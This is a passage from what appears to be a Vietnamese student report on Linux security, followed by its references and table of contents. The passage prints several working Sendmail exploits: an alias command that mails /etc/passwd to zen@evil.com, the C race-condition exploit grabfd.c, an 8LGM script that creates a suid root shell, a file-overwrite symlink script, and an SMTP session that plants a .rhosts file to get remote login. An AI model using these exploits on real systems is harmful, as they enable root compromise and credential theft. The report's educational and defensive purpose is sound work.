Server. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null 6) qf SunOS Bug này được phát hiện ở các phiên bản Sendmail chạy trên SunOS. Vấn đề bắt đầu từ cách mà Sendmail sử dụng để mở một File điều khiển /usr/spool/mqueue/qf# không được bảo mật. Một tình trạng tranh đua (A race condition) sẽ tồn tại, bằng cách nào khác, một tiến trình khác có thể dành được quyền điều khiển file Descriptor (được quyền truy xuất nó)...Sendmail v5, trong quá trình hoạt động, nó Set Umask(0), đầy là một Mask không an toàn...Bug này cho phép các User cục bộ trên hệ thống có thể ghi lên các file và chạy bất cứ chương trình nào...Như root. Đoạn Code C sau sẽ thực hiện việc này: /* * grabfd.c * usage: grabfd username command-file * username: user to execute 'command-file' as. * command-file: file containing 10 lines of shell commands to execute. */ #include #include #include #include #ifndef SENDMAIL #define SENDMAIL "/usr/lib/sendmail" #endif #ifndef SPOOL_DIR #define SPOOL_DIR "/usr/spool/mqueue" #endif char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n"; main(argc,argv) int argc; char **argv; { int pid, fd; char tbuf[MAXPATHLEN], sysbuf[BUFSIZ]; if (argc != 3) { (void)fprintf(stderr, "%s: user file\n", argv[0]); exit(1); } if (getpwnam(argv[1]) == NULL) (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n", argv[0], argv[1]); if (access(argv[2], F_OK) == -1) { (void)fprintf(stderr, "%s: %s does not exist.\n", argv[0], argv[2]); exit(1); } if (access(SPOOL_DIR, X_OK) == -1) { (void)fprintf(stderr, "%s: cannot access %s.\n", argv[0], SPOOL_DIR); exit(1); } if (pid=fork()) { if (pid == -1) { (void)perror("fork"); exit(1); } (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid); (void)sprintf(sysbuf, myqfile, argv[2], argv[1]); for (;;) if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) { (void)printf("%s: grabbed queue fd.\n", argv[0]); (void)wait(); (void)ftruncate(fd, 0); (void)write(fd, sysbuf, strlen(sysbuf)); (void)close(fd); if(execl(SENDMAIL, "sendmail", "-q", (char *)0) == -1) { (void)perror("execl"); exit(1); }; } } else { (void)close(0); if (open("/etc/motd", O_RDONLY, 0) == -1) { (void)perror("open"); exit(1); }; if (execl(SENDMAIL, "sendmail", #ifdef sun "-os", #endif "-odq", getlogin(), (char *)0) == -1) { (void)perror("execl"); exit(1); }; } exit(1); } 7) -oR SunOS = SunOS-4.1.X-sendmail V5.22 Tuỳ chọn -oR sử dụng popen() để trả lại những mail không thể gửi đi, hay gửi đi rồi mà quay lại vì một lý do nào đó. Bug này cho phép các User cục bộ có thể lấy được quyền root... Dùng đoạn Shell nhỏ sau: #!/bin/sh # Syntax: roption host # host is any system running sendmail (except localhost). This exploits a flaw in SunOS sendmail(8), and attempts # create a suid root shell Written 1995 by [8LGM] Please do not use this script without permission. PROG="`basename $0`" PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS # Check args if [ $# -ne 1 ]; then echo "Syntax: $PROG host" exit 1 fi # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi PROG="`basename $0`" EXECME=/tmp/HotterThanMojaveInMyHeart # Create EXECME.c cat > $EXECME.c << 'EOF' main(argc,argv) int argc; char *argv[]; { chown("/tmp/InfamousAngel", 0, 0); chmod("/tmp/InfamousAngel", 04755); } EOF cc -o $EXECME $EXECME.c # Check we have EXECME if [ ! -x $EXECME ]; then echo "$PROG: couldnt compile $EXECME.c - check it out" exit 1 fi /bin/cp /bin/sh /tmp/InfamousAngel # Run sendmail /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF' To: No1InParticular Hows it goin EOF exec /tmp/InfamousAngel Hoặc sử dụng đoạn Code tiếp: #!/bin/sh # sunsendmailcp from to if [ $# -ne 2 ]; then echo usage: `basename $0` from to exit 1 fi rm -f /usr/tmp/dead.letter if [ -f /usr/tmp/dead.letter ]; then echo sorry, cant continue - /usr/tmp/dead.letter exists fi if [ ! -r $1 ]; then echo $1 doesnt exist or is unreadable exit 1 fi ln -s $2 /usr/tmp/dead.letter /usr/lib/sendmail -L0 '-oM#anything' $USER < $1 rm /usr/tmp/dead.letter exit 0 Bạn gõ: % ./sunsendmailcp sourcefile targetfile File sẽ bị ghi đè. 8) OVERWRITE FILES - FiXED iN 5.59 Những người dùng từ xa có thể ghi đè lên các file trên hệ thống mà không cần quyền root. Bug này đã được phát hiện trong Version 5.59 của Berkeley và có thể là cả các Version trước nữa: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % TÀI LIỆU THAM KHẢO: Tài liệu tham khảo chính dùng trong báo cáo: www.security.com.vn Các trung tâm giúp đối phó tai nạn trên Internet Website về an toàn máy tính Thông tin về an toàn từ nhà cung cấp Một số sách về an toàn máy tính Actually Useful Internet Security Techniques by Larry J. Hughes Jr. Applied Cryptography: Protocols, Algorithms and Source Code in C by Bruce Schneier Building Internet Firewall by Brent Chapman & Elizabeth D. Zwicky Cisco IOS Network Security by Mike Kaeo Firewalls and Internet Security by Bill Cheswick & Steve Bellovin Halting the Hacker: A practical Guide To Computer Security by Donal L. Pipkin Intrusion Detection: An Introduction to Internet Surveillance, Correlation, Traps, Trace Back and Response by Edward G. Amoroso Intrusion Detection: Network Security Beyond the Firewall by Terry Escamilla Linux Security by Jonh S. Flowers 1.Lời nói đầu: 1.1 Những nguy cơ an ninh trên linux 1.2 Xem xét chính sách an ninh 2 Giới thiệu chung: 2.1 Ai đang phá hoại hệ thống 2.2 Những kẻ xâm nhập vào hệ thống của ta như thế nào 2.3 Tại sao kẻ xâm nhập có thể vào được hệ thống của chúng ta 2.3.1 Những lỗi phần mềm 2.3.2 Cấu hình hệ thống 2.3.3 Password cracking 3 Giải pháp an ninh 3.1 Mật khẩu : 3.1.1 Bảo mật BIOS - Đặt mật khẩu khởi động: 3.1.2 Chọn một mật khẩu (password) đúng: 3.1.3 Default password 3.1.4 Mã hoá - Tăng tính an toàn của mật khẩu 3.1.5 Các mối đe doạ khác và các giải pháp 3.1.6 Các công cụ kiểm tra pass 3.2 Cấu hình hệ thống 3.2.1 Tài khoản root 3.2.2 Tập tin "/etc/exports" 3.2.3 Vô hiệu hóa việc truy cập chương trình console 3.2.4 Tập tin "/etc/inetd.conf" 3.2.5 TCP_WARPPERS 3.2.6 Tập tin "/etc/host.conf" 3.2.7 Tập tin "/etc/services" 3.2.8 Tập tin "/etc/securetty" 3.2.9 Các tài khoản đặc biệt: 3.2.10 Ngăn chặn bất kỳ người sử dụng nào chuyển thành root bằng lệnh "su". 3.2.11 Securing Files 3.2.12 Bảo vệ thư mục trên web server 3.2.13 XWindows Security 3.2.14 Tăng cường an ninh cho KERNEL 3.2.15 An toàn cho các giao dịch trên mạng 3.2.16 Open SSH 3.3 Theo dõi và phân tích logfile 3.4 Cài đặt và nâng cấp hệ thống 3.4.1 Linux OpenSSL Server 3.4.2 LINUX FIREWALL 3.4.3 Linux Intrusion Detection System (LIDS) 3.4.4 Dùng công cụ dò tìm và khảo sát hệ thống 3.4.5 Phát hiện sự xâm nhập qua mạng 3.4.6 Công cụ snort: 3.4.7 Công cụ giám sát - Linux sXid 3.4.8 Công cụ giám sát - Portsentry 3.5 Đối phó khi hệ thống bị tấn công 4 Một số lỗi bảo mật cơ bản 4.1 Attack From Inside Unix 4.2 Bacdoor trong Unix 4.3 Buffer Overflow (Tràn bộ đệm) 4.5 DoS 4.6 Các lỗ hổng bảo mật của Sendmail 5 Thiết kế thử nghiệm một trình tiện ích bảo mật cho Linux ._.

Các file đính kèm theo tài liệu này:

  • docP0033.doc
Tài liệu liên quan